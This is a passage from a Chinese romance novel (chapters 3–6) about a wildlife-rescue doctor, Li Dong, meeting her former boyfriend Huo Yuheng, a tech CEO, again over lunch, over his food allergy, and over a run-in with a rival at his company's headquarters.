杨柳从抽屉里翻出一个小型手持吸尘器递给她,让她清理鞋面和裤腿上的浮尘,“没啦,我今天的任务就是带你过来实地转转,早上秦姐特意说了,今天特别冷,你又是第一天上班,让你这边完事直接回家就行。嘿嘿,沾你的光,我也能早点儿回家。一会儿我带你去吃饭呀?白露介绍了一个地方,说绝了!”
白露是和救助中心长期合作的摄影师,黎冬在救助中心的相关报道中见过她拍摄的照片。
下午不用工作,黎冬乐得轻松,“你带路,我请你。”
她抬腕看时间,正好中午12点,当即决定,“走吧。”
“别呀,今天午餐可以报销,”杨柳笑着拉住她,“也得等霍总他们回来一起。”
“他们也去?”黎冬迟疑了。
“一会儿我问问。”
正说着,杂乱的脚步声接近,门被拉开,风裹着寒气涌入。
黎冬抬眼,工作人员带着霍予珩和方淮进来,他们开车去三期,全程脚不沾地,到院子里才下车,鞋裤和来时一样整洁,只肩膀上落了细雪。
似乎还没忙完,几人神情专注,边聊边往里走。
黎冬看过一眼便收回目光,低头捣鼓手机,黎右又发来语音消息,她将手机贴在耳边,黎右告诉她他“下班”了,有礼物要送给她。
有人裹着寒气从身边经过,不用抬头,她也知道是谁。
迅速将音量调低,黎冬往门口方向挪动,低声回复黎右,告诉他几位姨姨准备了礼物送他,把黎右高兴坏了。
放下手机,杨柳的声音传了过来:“霍总方助理中午有安排吗?没有的话我和黎医生请您二位吃个饭吧。”
霍予珩那边已经结束工作,杨柳站在他对面,悄悄打手势让她过去。
杨柳话里带上她,明显是要为她拉好感,她不能在这个时候拆台,可也不担心。
霍予珩不喜交际,还有洁癖,极少在外面餐厅吃饭。
“那就麻烦二位了。”霍予珩淡淡开口,答应下来。
黎冬眼睫扇动,目光不自觉地长久地落到他身上,直到他转过头,目光平静地和她对视。
看来只是吃一顿饭。
黎冬放下心。
助理方淮掩下心中诧异,急忙通知将下午两点的会议推后,时间待定。
杨柳说的地方在十几公里外,到达时地面已
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经积了一层薄雪,路面留下两道深色车辙。
三进的中式院落,他们被请到第二层,接待的是一个半大孩子,手脚麻利地端上零食小吃,又沏上一壶热茶,问过他们忌口食材便走了。
“这里菜单由老板来定。”屋子里暖气很足,角落里的加湿器冒着袅袅细烟,杨柳边脱外套边解释。
桌子是长方桌,黎冬最后进去时只剩霍予珩对面位置,便坐了过去。
Holi是高科技企业,救助中心是公益组织,四人不熟,可这难不倒拥有地道老北城人热情的杨柳,谈天气聊风俗,再说几句即将到来的春节。
桌子不大,黎冬与霍予珩的距离与车里相仿,若有似无的冷木香又飘过来,不同的是,这次她坐在霍予珩对面,避无可避,他的每一个动作、每一个表情她都会不自觉关注到。
坐了很久,她抬腕看时间,只过去两分钟。
时间变得异常难熬,黎冬垂下眼,端起热茶佯装慢品,袅袅白汽熏着鼻尖,冲淡了冷香味道,对面的人再也看不到,她才感觉好了些。
话题进行到一半时,刚刚的半大孩子和一个年轻男人推门进来,两人话不多,只进进出出,一盘一盘把菜往桌上摆,黎冬袖子被扯了一下,她端着热茶偏头,杨柳也偏过头,压低声线,“别的不说,老板真的很绝。”
黎冬跟着望过去,年轻老板刚出门,只留下一个高瘦身影,等他再进来时她仔细看了几眼,高个,寸头,锋利冷峻的标准帅哥脸,怎么看怎么和厨师不搭边,她点头,小声认同,“很帅。”
杨柳清下嗓子,有几分矜持地坐直身体。
“天气冷,羊肉萝卜汤送给各位,慢用。”年轻男人说完离开,关门前往里望了一眼。
汤是盛在小碗里送进来的,冒着腾腾热气,在今天这种阴冷天气格外有吸引力,杨柳悄悄搓了搓手,准备喝时又放下勺子,承担起活络气氛的角色。
话题中心是Holi。
杨柳很喜欢黎冬那一边的板栗排骨,夹了几次,黎冬干脆将板栗排骨和干煎鸡块调换位置,方便杨柳。
鸡块外焦里嫩,卖相极佳,黎冬夹起一块送入口中,清新的柠檬香溢满口腔,咀嚼的动作一顿,她抬眼看向霍予珩。
霍予珩像是胃口不佳,右手执筷夹了一次便放下,目光正从那盘板栗排骨挪到她身上。
杨柳正问他问题,见他没答,跟着他的目光看向黎冬。
方淮也看过去。
将鸡块咽下,黎冬大方笑笑,目光不着痕迹地从霍予珩身上移开,看向杨柳,说道:“这道干煎鸡块是用柠檬调味的”。
“哦是吗?没看到柠檬片哎,”杨柳夹起一块鸡块,咬了两口眼前一亮,“嗯,太好吃了!”
她热情地招呼,“霍总,方助理,你们也尝尝。”
说完又夹了一块。
方淮探筷,加走一块。
“是么。”霍予珩淡声反问,重新拿起筷子。
黎冬捏紧手里的筷子,喉咙极轻地吞咽一下,接上杨柳之前的话,“是淋了柠檬汁。”
在她的注视下,霍予珩夹起鸡块送入口中缓慢咀嚼,似乎觉得味道不错,咽下后执筷又去夹,“确实淋了柠檬汁。”
捏着筷子的手指收紧到指节处发白,黎冬缓缓吐出一口气,目光从他身上偏开。
“你们两个舌头真厉害,我只能吃出来好吃,”旁边杨柳突然出声,“霍总和黎医生野保理念相近,没想到在美食上一样是高手,你们两个如果早在纽约认识,那一定能成为很好的朋友。”
话音一落,桌上瞬时安静下来。
“很好的朋友。”
霍予珩似笑非笑地勾了下唇角,似乎在咀嚼“朋友”一词的含义。
黎冬眼睫一颤。
这时,门上被轻敲两下,老板托着甜点进来,杨柳放下筷子开玩笑,“老板,又是免费的吗?”
甜点被分成四份,装在精致瓷碟中,年轻老板一一摆在几人面前,“米酒桂花冻,送几位尝尝。”
最后一个瓷碟摆到黎冬面前,他站在她旁边没走,“米酒是用今年新米自己酿制,桂花蜜是秋后的天然蜂蜜,口感会比世面上清甜。”
他面相冷,眉宇间带着点不耐烦,看起来并不好相处,这会儿多说了几句,似乎是在期待他们品尝。
他进来这一打岔,“朋友”的话题似乎被掀过去了,黎冬正巧不想在众目睽睽之下和霍予珩起争执,在老板的注视下拿起调羹,挖了一块送入口中,满意地点了点头,“酒的味道刚刚好,桂花蜜也新鲜,很清甜。”
年轻老板面色一松,笑了出来,压了一张名片到她手边,“以后想吃可以打这个电话。”
说完就走了。
名片上信息不多,只有“林醒”、“摄影师”和电话号码,黑金色字迹被压凹进白色纸片,简约精致。
是不是给错了?
黎冬有点懵,杨柳暧昧地朝她眨了眨眼睛,凑过来看,“哦,是他,他很出名的!他怎么还开私房菜?!”
“叮”的一声脆响,两人抬起头,霍予珩姿态优雅地将调羹放回瓷碟,他面前的甜点未动,目光稳稳落在黎冬身上,轻扯了下唇角,“黎医生对菜品这么有研究,不如品评一下那道板栗排骨。”
他人靠着椅背,嗓音幽凉,目光也凉,不像是邀请品评,倒像是在找茬。
神经大条如杨柳也察觉出气氛微妙,目光在黎冬和霍予珩身上溜来溜去。
亲眼目睹霍总把板栗排骨挪到黎医生面前,又被黎医生挪走的方淮大气不敢出。
4. 第 4 章
窗外的雪花扑簌落下,温度极低,原来附着在外层窗玻璃上的水渍凝结成冰花,室内热气蒸腾,内层玻璃上一层雾气,四方的屋子像是被这两道玻璃阻隔成独立的空间,时间是单独计时的,比外界缓慢许多,慢到杨柳手心出了汗。
黎冬目光和霍予珩的对撞,寸步不让,不知道过去多久,她忽而笑了,摇着头拒绝道:“板栗太甜了,以前爱吃,现在不行了。”
霍予珩脸色黑沉,气氛比黎冬开口前更加凝滞,杨柳僵笑着试图挽救,夹了一块板栗嚼啊嚼,“哈哈哈我试试,我特别爱吃甜的,从小到大一直爱吃,换牙都比同龄人早……”
接下来的气氛都不算好,杨柳努力找着话题,方淮适当地附和几句,其余两人一言不发。
等几人快吃完时杨柳出去结账。
方淮跟了出去。
“吧嗒”一声。
霍予珩放下筷子,抽出纸巾轻拭唇角,慢条斯理地将纸巾折起,扯了下唇角,似是轻嘲。
“几年没见,黎医生口味换得快,撒谎也是不打草稿了。”
黎冬知道他指的是什么。
板栗排骨是她以前最爱的菜。
她上午只和杨柳说她和霍予珩并没有在同一个野保组织呆过,为了减少不必要的追问,并没有回答两人是否认识。
杨柳顺理成章地误会了。
将碟子里最后一口桂花冻吃完,黎冬面色平静地放下调羹,抬起头与霍予珩对视,“不多尝试,怎么知道自己真正爱吃什么。”
明信片依然在她手边压着,霍予珩冷瞥一眼,“黎医生打算怎么尝试,辞去工作留在这里?还是打个电话叫到眼前?”
他冷笑一声,点了点头,“也是,一走了之和欲擒故纵都是黎医生擅长的。”
男人话音讥讽,语义含糊,不像是在说那道甜点,黎冬听得直皱眉,积攒的不快一起上涌:“霍予珩你是不是管得太宽了?我们现在的关系只是你赞助了救助基地,而我负责和贵集团的方助理对接,你完全可以不出现——”
“你以为我特意为你来的?”霍予珩截断她的话。
黎冬默然,胸口几度起伏,目光落到他右手上,戒臂上的线条错落有致,如同横卧的山脊,横亘在两人之间。
“我没有这个意思,您的行程是您的自由。”
她声音放轻,说着恭敬的话,霍予珩却听得胸口又涩又堵,一口气团在肺里不断膨胀,胀得他胸口发疼。
房间安静下来,似乎有一根弦紧绷在两人之间,一呼一吸都踩在弦上,嗡嗡作响,时刻会崩断。
门外有脚步声接近,黎冬回神般拿起桌上名片,收进包内,站起身时唇边挽出微笑,“希望霍总珍惜身体,和霍太太百年好合。”
指尖一僵,喉结克制地滚动,霍予珩冷冷瞥她一眼,推开椅子,一言不发地拎起外套走了。
回程时雪仍在下,车里没人再说话,杨柳隔着毛衣来回搓着手臂,后视镜中后排的两人一个倚靠进皮质座椅里,正闭着眼睛,一个头偏向车窗外,纤长的睫毛垂下来。
“方助理,在前面停一下,等我一会儿可以吗?”杨柳小声说。
中午付过账单又开完发票,她正想借卫生间用,霍予珩拎着西装外套神色冷峻地从房间出来。
天寒地冻,她裹着冲锋衣都冷,霍予珩穿着单薄的衬衫马甲,像是一无所觉,穿过风雪径直去了外院。
没几秒,黎冬面色平静地从房间出来。
她当时没敢问,也没敢耽搁时间。
方淮停下车,杨柳拉好冲锋衣拉链开门出去,穿过马路,朝对面的卫生间跑去。
黎冬她慢慢动了下僵硬的脖子,睁开眼睛,余光中另一侧的男人没动,眼眸仍旧闭着。
“方助理,也等我一下。”
黎冬轻声嘱托,推开门,下车后再轻轻关上。
下一秒霍予珩睁开眼睛,清下嗓音,不适地拧眉。
嘴里和喉咙像被麻痹过,脖子上一片痒意,原本的冷白皮肤泛起淡粉。
“霍总,”方淮也觉出不对劲,霍予珩平时极少参加商务宴请,去的几次也很少动筷,因此,他一直不知道霍予珩对哪种食物过敏,“前面有家药店,我——”
霍予珩目光偏向车外,慢慢挪动,像是追着谁的背影,没一会儿,唇角微不可查地上扬。
方淮随着他的目光看过去,纤细的身影一闪,黎冬推门进入药店。
有人去买药,方淮放下心,没再继续说。
雪花落在挡风玻璃上,融成一片雾色,雨刮器滑过,视野再度清晰。
杨柳小跑着先回来,她脱掉外套,又搓了搓手臂。
没多久,后排车门打开,黎冬拎着药店袋子进来,外面空气太凉,她的鼻头耳垂被冻成淡粉,一抬头,霍予珩已经醒过来,正望着她。
眉眼间的冷峻怒意已经全然散了。
黎冬目光在他脖颈上短暂停留一秒,坐好,活动了一下被冻得冷白僵硬的指骨,窸窸窣窣的声响过后,从药袋中拿出一盒西替利嗪,“杨柳,你是不是过敏了?”
又拿出一瓶水,拧松瓶盖一起递过去。
杨柳感激涕零地接过,“呜呜呜感谢,黎医生你真的明察秋毫心细如发!”
今天吃饭时她没说自己对羊肉过敏,想着或许别人爱吃,万一真有羊肉她不碰就行,没想到最后老板送了羊肉萝卜汤。
那汤实在太香了,勾得她身体里的馋虫不停扭动……
到最后没忍住,都喝了。
黎冬笑笑没说话。
人都回来了,方淮却没启动车子。
黎冬坐在他正后方,他看不到她买了几盒药。
同在后排的霍予珩却看得一清二楚,黎冬的药袋已经空了。
看到她进药店的欣喜一扫而空。
“方淮,开车。”他冷声提醒。
方淮没敢迟疑,发动车子。
杨柳按药量吃好药,将药盒递回去,方淮瞥了一眼后视镜,祈祷明察秋毫心细如发的黎医生也能发现他家老板的过敏症状。
然而——
黎冬笑着摆手,将空药袋收起来,“你收好,这药要吃几次。”
“好的!”杨柳喜笑颜开地收起药盒,嘴上喋喋不休,“冬冬我请你喝柠檬水吧,C大那儿有一家做的特别好喝,明儿个咱就在热气腾腾的暖气屋子里喝冷饮!”
“好呀。”
黎医生语气轻快,车后排的老板脸色彻底冷下来,视线偏向窗外。
方淮默默收回目光。
进入市区后杨柳最先下车。
黎冬在下一个繁华地段叫停,这里距离榕湖仍有一段距离,她打算叫辆车回去。
霍予珩的过敏症状比刚返程时更加明显,嗓子像打过麻药般一片木然,脖颈上的皮肤粉红,喉结不时滑滚,像在极力忍耐。
车子缓慢启动,后视镜中女人纤细的身影逐渐浸没在风雪中。
“霍总,”方淮忽然出声,“黎医生的东西忘记拿。”
那玩具盒很大,他看杨柳在副驾要缩腿坐着,返程前便把玩具盒放到后备箱,那两人下车时都忘了。
“前面路口可以掉头。”他提醒。
这里距离黎医生家半小时车程,雪天不好打车,家里人来接需要时间,他们现在送过去还来得及。
方淮放缓车速,等待指示。
风雪打着旋儿地下落,雪比刚刚大了,后视镜中已经看不到人影,霍予珩收回目光,闭上眼,“回公
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司开会。”
雪花纷纷扬扬,路边行道树枝桠挑白,悬挂的红灯笼很快戴上雪帽,飞雪之下,车辆往来,北城的故事感就这么一点点在冬日午后冒了出来。
临近春节,商场早早贴满喜庆装饰,北城又难得下雪,熙攘的街上满是热闹。
黎冬朝四周望了一圈,紧绷的神经慢慢松散下来。
昨天的机场碰面,今天的同车之行,都在她预期之外,几年没见,他的性格比过去锋利许多。
沁凉的雪落在脸上,黎冬回神,拿出手机。
被姜商辰收养后,她在经济和生活上再没有过短缺,但仍习惯遇事自己处理,因此第一时间是想到叫车回家,而不是让司机来接。
手机在低温室外表现得像迟暮老人,反应迟缓,过了好一会儿才到叫车页面,黎冬被“前方等待17位,预计等待20分钟”惊到,正考虑要不要去商场里等一会儿,一对母女过来,母亲拎着大小购物袋,孩子兴高采烈地抱着玩具盒。
把玩具落在霍予珩车上了。
黎冬心想。
她侧过头,霍予珩的车早就没了影子。
如果是自己买的,落就落了,可那是同事的心意。
犹豫良久,黎冬打开微信。
群里都是工作消息,她点开群成员,找到霍予珩的名字,物是人非,她换了号码,他也换了,新号码头像是一张窗景照片,白雪积压在窗棂上,光线昏暗的窗外一轮红日,分不清是日出还是日落。
黎冬没再多看,将他添加到通讯录。
操作完这一切,她轻哎一声,嘴边呼出一团白汽。
真的是昏了头了,她加方淮不是更好吗?
没找到撤回申请选项,黎冬想了想,还是加了方淮。
霍予珩今天不是在找她茬儿就是在和她吵架,不一定会理她。
叫车页面更新至等待还剩15位,预计等待时间却仍是20分钟,两个好友申请都没有反应。
黎冬轻皱眉头,正准备取消行程去商场临时给黎右买一份礼物,一辆黑色红旗停在身旁,车窗缓缓降下,露出一张玩世不恭的脸。
“黎医生,去榕湖吗?” 沈怀京隔着车窗笑问。
车上没其他人,黎冬拉开车门坐上副驾。
“同事送小右的机器狗被我落在霍予珩车上了,”她系上安全带直言,声音里有些疲惫,“今天中午我刚跟小右预告要给他带回家。”
沈怀京开车前看了她一眼,并不惊讶她遇上霍予珩的事,只说:“我带你找他去。”
黎冬没出声。
其实算下来,霍予珩是靳行简的同学,沈怀京和靳行简是发小,两人都更早认识霍予珩,抛开这一层关系,几人在生意上也有往来,她和霍予珩分手这事他们没有问过原因,在情感上却倾向于她这一方。
现在霍予珩和方淮都没回复,沈怀京带她找上门去,有种长兄为自己撑腰打上门的感觉。
黎冬安心地低下头取消手机上的行程,通知栏弹出杨柳发来的微信消息。
【杨柳:冬冬你别忘记拿玩具】
只是不知道怎么发在了工作群。
黎冬没再管那么多,回复:【确实忘了。】
她正要顺势@方淮,问他们到哪里了,聊天框里又跳出来一条消息。
【方淮:我们刚到公司,黎医生方便过来拿一趟吗?】
同时,方淮的好友请求通过,私聊她说,下午的会议马上开始,抱歉没办法帮她送过去。
对方客气礼貌,这里距离Holi又不远,黎冬请他帮忙放在前台。
另一条好友申请迟迟没有动静,黎冬看过一眼关闭手机。
雪又大了几分,黑色红旗破开雪路,稳稳朝前驶去。
5. 第 5 章
落雪的午后室内早昧,从Holi顶层俯瞰,大半个北城亮起或明或暗的灯光,好似提前进入夜晚。
“霍总,黎医生一会儿过来。”方淮站在办公桌前开口。
他和黎冬的交流在群内进行,不必详细汇报,霍总一看便知。
“嗯,”霍予珩目光迟迟没能从手机屏幕上移开,“通知下去,三十分钟后开会。”
方淮应了声好,稍缓后又道:“天樾管家问您今年春节是否过去。”
两年前,霍予珩买下天樾一套别墅,本来计划秋天入住,因为新产品发布事项一直耽搁到现在。
那边人员齐备,快到过年了也不见霍总入住,便来问了他。
“让他们放假吧,”霍予珩关闭手机,沉吟片刻,“通知管家,春节后我搬过去。”
方淮应下,站在原地没动,霍予珩抬起头,“还有事?”
他眉头微皱,少见地透露出些许烦躁,方淮语气更加小心翼翼:“黎医生说把玩具放到前台。”
空气中有片刻静默,方淮好像听到了窗外的簌簌落雪声。
工作群的对话霍予珩看到了,他目光缓缓下沉,落到方淮脚边的玩具盒上,和Holi的科技产品机器狗不同,包装盒上一只黑白玩具机器狗,圆头圆脑,模样笨拙,盒子上一行小字:适用年龄3岁及以上。
不辨喜怒的“嗯”了一声,霍予珩抽出一支香烟起身,站到落地窗旁背对这边,他的脖颈微垂,常示人前的精锐不在,那根夹在指间的香烟迟迟未点燃,目光投向窗外的落雪,迟缓地眨了下眼,像是累极了,嗓音中满是倦怠,“出去吧。”
方淮退出办公室,下发会议时间后打电话给行政,霍予珩胃不好,中午又没怎么吃饭,方淮让行政送点吃食上来,顺便拿上一盒过敏药,又交代把他桌边的玩具放到前台,着重说明一会儿有一位黎女士过来取,让前台不可怠慢。
手机一震,老同学林源发来消息:【晚上出来喝一杯?】
林源在靳行简手下做事,同是高科技公司,同是助理,两人的境况却大相径庭,原本工作狂的靳总在成家,特别是育有一儿一女后,大半心思放在家庭上,平时交给林源的工作事项渐多,假期却极其爽快,例如春节假期,比国家法定节日多上一周。
他们霍总……
方淮是霍予珩三年前回国后开始跟在他身边的,自诩是全公司最了解他的人,这会儿也摸不透他和黎医生的过往,以及对黎医生的想法。
昨晚落地后临时更改今天上午行程,推迟下午会议,刚刚像是着急回来开会,到公司后知道黎医生一会儿要过来忽然又不急了,可又没有要见黎医生的意思。
方淮又将今天发生的事在脑海中捋了一遍,明白过来,黎医生知道霍总对柠檬过敏是真的,买过敏药后没给霍总吃也是真的。
这两人到底怎么……
手机震动声打断他的思绪,仍是林源:【来不来?】
方淮回绝他,也没再去想老板的感情生活,开始准备一会儿的会议资料。
……
黎冬到达Holi是在十分钟后。
识别到车牌号,道闸杆抬起,沈怀京熟门熟路地将车开进车库入口,通道顶部采用星空顶设计,两旁白色壁灯随车辆行进依次点亮,像行驶在一条星光隧道中。
沈怀京大咧咧地把车停在霍予珩的车旁,跟她一起下车。
哒哒哒的声响自远及近,一只巡逻机器狗经过两人身旁时停下,转头对准两人,沈怀京饶有兴致地拉着黎冬停下,“别急着走,让它给你表演个节目。”
“小霍,”沈怀京双手揣兜唤了一声,机器狗没反应,他笑一声也不介意,跟黎冬小声交代,“被改回去了,哎没事,豆豆。”
这次机器狗脸部的摄像头似乎闪了一下,操着机械音开口:“小沈,有何贵干?”
“嘿,这么没规矩。”沈怀京不愿意。
原本面无表情的黎冬噗嗤一声笑了,随即又抿起唇角。
恍惚间,记忆被拉回年少时。
她是见过机器狗LF的最初雏形的。
那时她和沈怀京同在哥大上学,霍予珩周末常过来,后来便在哥大附近租了一套公寓。
公寓是三室房型,其中一室被拿来做工作室,满载他的想法。
一次她过来时,霍予珩和沈怀京正窝在工作室,霍予珩低头校准传感器,沈怀京靠在桌边滔滔不绝。
“你别光想着让它在工业领域发光发热,你想想怎么让它陪我聊天。”
“你不说话,它不说话,每次来你这都闷死了。”
沈怀京抱怨两句,霍予珩终于回他一句:“谁让你来。”
沈怀京嘿一声,他这人没脸没皮惯了,这样一句不痛不痒的话根本戳不到他,仍在输出他的想法。
“给它取名了没?就叫小霍吧。”
“将来我一叫它小霍,它就回我,''沈少爷,有何指教?''”
当时站在门口的黎冬也是噗嗤一声笑出声,沈怀京出来拉拢她,“你说是不是?你叫''小霍'',它回你,''小黎同学,有何指教''。”
“我不要跟你一样的。”她说。
“那你想一句。”沈怀京好脾气地问,好像一切是他说了算似的,又问她明天那场名人演讲还想不想去,他找人拿了两张票。
霍予珩放下手里的事,瞥过来一眼。
她对情绪感知敏锐,可当时注意力正被沈怀京和机器狗占着,那时并不知道他在生气。
她当时没想出来让''小霍''回应什么,也没过去打扰霍予珩,拎上刚买来的食材进了厨房。
她不算爱下厨,只是出国几年仍是中国胃,和其他同学租住在一起,不好用姜商辰挪给她的中国厨师,只能硬生生逼着自己学了几道菜。
淘米时感知到有人过来,她往旁边靠,自觉地让出一半位置,柔软的黑色衣袖擦过她手臂,冷白修长的手指淋过水,洗净,霍予珩没走,他身上那股浅浅淡淡的冷木香也在。
水槽不大,他在这里,她转身都困难,把米饭蒸上后她催他走。
霍予珩朝她摆在台面上的菜看了两眼,低声问她要做什么。
她手腕上溅了一滴米水,还没容她自己动手,霍予珩的手伸过来,轻轻抹去,手指圈着她手腕便没放。
工作室里那只机器狗是他一个零件一个零件拼接而成,指腹被磨出一层薄茧,此刻这层薄茧暧昧地贴合她手腕内侧怦跳的脉搏。
她的心思晃了神,“干煎柠檬鸡。”
迟迟不见回应,抬起头与霍予珩对视上。
他的黑色眼眸中带着一点蓝色,窗外的光打进来,漂亮得如同沐光的玻璃珠,霍予珩眼睫半垂掩住眸色,声线不辨喜怒,“上次沈怀京说想吃的那道菜。”
“嗯。”
她从记事起就在孤儿院,后来被领养,一直要仰人鼻息,老师或者家长高兴了,她的日子便能好过,因此她从小就会记住周围人喜好,儿时会不动声色地讨好,长大后面对朋友,便会真心地付出。
“明天的讲座你要和沈怀京一起去吗?”霍予珩注视着她的眼睛,有几分压迫感。
她察觉出几分不对劲,笑了起来,“去呀。”
哥大大部分讲座是免费的,明天那场讲座考虑到名人效应和座位限制,收取了部分费用。
一开票便被抢光了。
视线内霍予珩的俊颜忽地放大,唇角被很轻地咬了下,她吃痛地低声惊呼,声音被他吞没,鼻息间是他身上的味道,唇瓣被他含住,带着热意的舌尖撬开她唇齿。
沈怀京在旁边房间打电话,起初她还能听清他在说什么,后来只顾拽着霍予珩衣袖。
她被霍予珩亲得喘不上气,想要躲开,反被他掐住下颌吻得更紧,霍予珩单手抱起她放在台上,腿挤着她的,将她吻得流出眼泪才放开,她往后靠了靠,避开他温热的鼻息,轻喘着气明知故问逗他,“你是不高兴了吗?”
那时他们在一起已经有一段日子,一开始没告诉关系亲近的靳行简和沈怀京,后来她想着那两人也不笨应该能看出来,便没专门提过。
霍予珩指腹揉了下她唇角,仍保持着随时可以吻到她的距离,“明天早点回来,陪你吃过晚餐我再走。”
他们两人都很忙,霍予珩周末过来其实是为了陪她,淡淡的愧疚感涌上心头,没等她说什么,沈怀京出现在厨房门口,错愕地看向他们,几秒钟后笑着骂了一句。
眼前的沈怀京不遗余力地逗弄着机器狗。
“豆豆,鞠躬。”
“好狗,豆豆,比爱心。”
黎冬收回纷乱的思绪,先一步朝电梯走去,沈怀京跟上她步子,最后下达指令,“豆豆,原地翻跟头,180个。”
Holi总部大楼大堂采用空间流线设计,视觉效果极具未来感,来往人员都是精英装扮,一身黑色冲锋衣的黎冬一出现马上成为焦点,保安刚要上前询问,瞧见她身后的沈怀京后恭敬颔首,“沈总。”
沈怀京虽然不常来,Holi股东的身份却是实打实摆在那的,出电梯时来了一通电话,他慢着步子走在后面,黎冬脚步轻盈,有一年轻女人在前台那询问,黎冬站在两步外等待,两个人的对话声一字不漏地传过来。
“予珩哥订的哪家餐厅呀?”女人掐着嗓音问。
因着这个名字,黎冬打量女人几眼。
黑色浅口细高跟,大半脚面和脚踝露在外面,黑色长裙垂到小腿处,外面罩了一件红色大衣,棕色长卷发,挎着一只香奈儿黑金hobo,整个人袅娜生姿。
方清缇。
黎冬对此人并不陌生。
她和霍予珩在一起之前,方清缇一直在追霍予珩。
“不好意思方小姐,我不方便透露霍总行程。”前台行政年纪不大,笑容甜美得体。
方清缇却不买账,“要不是我手机没电予珩哥又在开会我还用来问你?”
低眼瞥她胸牌,“苏小寒,真拿着鸡毛当令箭了?!”
她语气生硬咄咄逼人,苏小寒仍没有退让,“不好意思方小姐。”
“油盐不进!”方清缇伸出手指点向苏小寒,“我爸是这的股东,开你就是——”
伸出的手指被握住。
“方清缇,”在一旁的黎冬听不下去,“你爸那么厉害你不去问你爸,在这里为难别人算什么。”
她将方清缇手指下压,和前台说明来意。
“黎女士您好,”苏小寒目光感激,“可以稍等一下吗?您的物品很快送下来。”
过敏药不是公司常备药,接到电话后她的同事马上冒雪出去买,这会儿人还没回来,顶楼的物品也就没拿下来。
等黎冬点头,她将人让向会客区,忙打电话给行政部其他同事去一趟顶楼,又催买药的同事动作麻利点。
方总助要的药,多半是霍总用的。
会客区几排真皮沙发,只沈怀京一人闲坐着打电话,黎冬正要过去,被一声“黎冬姐”留住。
方清缇握住被攥得发疼的手指,目光挑剔地在她身上溜了一圈,“真的是你呀黎冬姐,几年没见险些认不出
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来。”
两人都是娇小身材,黎冬今天出野外,穿着平底登山靴,踩着10厘米细高跟的方清缇在身高气势上占了上风,她以前就对黎冬颇多怨言,刚刚又被折了面子,心里一团邪火:“还在搞你那个什么动物保护啊,风吹日晒的,怪不得皮肤状态这么差。”
她忽地凑近,哟了一声,“你注意点保养哦,不然要长皱纹的。”
方清缇音量不大,可两人间剑拔弩张的气氛骗不了人,保安正要过去,被沈怀京拦住,“两位女士的私事。”
黎冬脾气好,素来很少和人争执,可并不代表好欺负,对方上来就是一副招人嫌的样子,她也没客气。
“几年没见,方小姐倒是没变,野调无腔依然如旧,虽然我高你一届,但按年龄算,您可足足大我两岁呢,”黎冬笑得轻松,“您还没长皱纹,哪里轮得到我。”
她读书时跳级,毕业也早,重音咬在“您”字上,直往方清缇心口戳。
方清缇脸色微变,往前迈了一步,见周围人不时投射过来的目光,咬牙保持着体面,“小两岁又怎么样,还不是生了孩子也没人要。”
她好像找回了底气,姿态悠然地整理起领口,翘起的无名指上一枚戒指,“别想着回来找予珩哥,你把他害得那么惨,他不会再要你,更不会要别人的野种。”
黎冬面色一凛,目光从她手指上移开,抬眼静静盯着方清缇,直把人盯得后背微湿,伸手握住她手腕,回过身微笑问苏小寒,“请问洗手间怎么走?”
苏小寒抬起头,利落地指了个方向,黎冬拉上方清缇就走。
她手劲大,步子沉,方清缇被拖得踉跄着脚步跟在她身后,“黎冬你要干什么?!放开我!这是予珩哥和我爸的公司,你要是敢动我,他们饶不了你!”
保安见状再次上前,沈怀京轻轻一抬手,保安又退了回去。
苏小寒压抑住心底隐秘的兴奋。
方清缇自己经营着一家珠宝工作室,Holi B轮融资时她爸爸成为股东之一,方清缇常借此往Holi跑,借机追霍总。
刚刚方清缇和黎女士站位距离前台极近,她听了个七七八八,吃了一嘴瓜却不敢声张,方清缇自视甚高,平时不把她们行政放在眼里,今天踢到铁板,她不介意顺手指个路,可又怕真的出什么事,忙给方总助拨电话,方总助不知在忙什么,电话打到第二通才接,她还没将事情说完,洗手间通道方向拐出一道身影。
黎冬和拉着方清缇离开时一样,黑色冲锋衣,黑色登山靴,婉约柔和的气质被收进利落的步子里,目光坚韧凛然,颊边碎发顺着风飘向耳侧。
女人帅起来就没男人什么事了。
苏小寒心想。
等黎冬经过前台没停留,径直朝电梯方向走,她才缓过神,“黎女士,您的物品马上下来。”
沈怀京站起身,闲适地跟在黎冬身后,回头朝她笑笑,“先放霍总那儿,明天我过来拿。”
电话还在接通中,方总助的声音传过来:“黎女士走了?”
“走了。”
“方小姐呢?”方总助停顿几秒问。
“方小姐,”洗手间通道方向拐出一道狼狈身影,方清缇衣冠完整,眼泪流了满脸却不敢哭出声,捂住红肿的脸迅速走了,苏小寒瞪圆眼睛,而后叹了口气,听不出是惋惜还是舒心,“方小姐大概年前不会再来骚扰霍总了。”
“骚扰”两字一出,她忙噤声,恨不得梆梆给自己两拳,怎么就顺口说了真心话呢,方总助每沉默一秒,她的心脏便提高一分,好在那边很快吩咐她:“把过敏药送上来。”
她忙应一声,大厅的玻璃门开,买药的同事嘴边呼着白汽进来,另一个方向的电梯门合拢。
“明天我跟方总提一句。”下行的电梯里沈怀京开口。
方清缇他也认识,被家里人娇惯坏了,只是平时不敢犯到他眼前。
他没问方清缇说了什么话给黎冬添堵,只怕她的气没撒够,他开口告诉方家,方家自然会掂量着办。
黎冬指尖动了动,没有哪个妈妈能容忍自己的孩子被那样说,霍予珩的太太不行,霍予珩的女朋友也不行。
她刚刚是真的动了气,也就没留着手劲儿,此时掌心一阵发麻,那股热胀感还没退去。
“不用,已经解决了。”
沈怀京观察了一会儿她神色,没再说别的。
黎冬心里却乱糟糟的,解决完方清缇,她才有空去想方清缇的话,她害霍予珩什么了?
电梯门开她也没注意,跟着沈怀京走出去,哒哒哒的声响由远及近,她抬起头。
历史好像重演一般,机器狗巡逻到两人跟前,转过身。
“哟,翻完跟头儿了。”
沈怀京一抬眉,饶有兴致地停下脚步。
多年好友,黎冬不用看都知道他在想什么,抬手揉了下额角,果然听到他开口:“豆豆。”
这次两人站得近,机器狗好像难以分辨,脸部一闪一闪没了下一步动作,黎冬心头仍烦乱,等得失去耐心,正要拉沈怀京离开,机器狗偏向她这一侧,几度低头抬头。
这次是真的卡了壳,足足十几秒没有下一步动作,黎冬没再等,先行转身朝车的方向走去,身后忽地响起一板一眼的机械音——
“没良心的黎医生,这么久不回家,是不是不要狗狗了?”
周遭瞬时安静下来,只有机器狗哒哒追过来的声响,像是要找她替谁索要一个答案。
黎冬心脏猛颤了下,停下脚步,慢慢地,轻轻地,空咽了下酸胀干涩的喉咙。
6. 第 6 章
折腾一通,车到榕湖时正值傍晚。
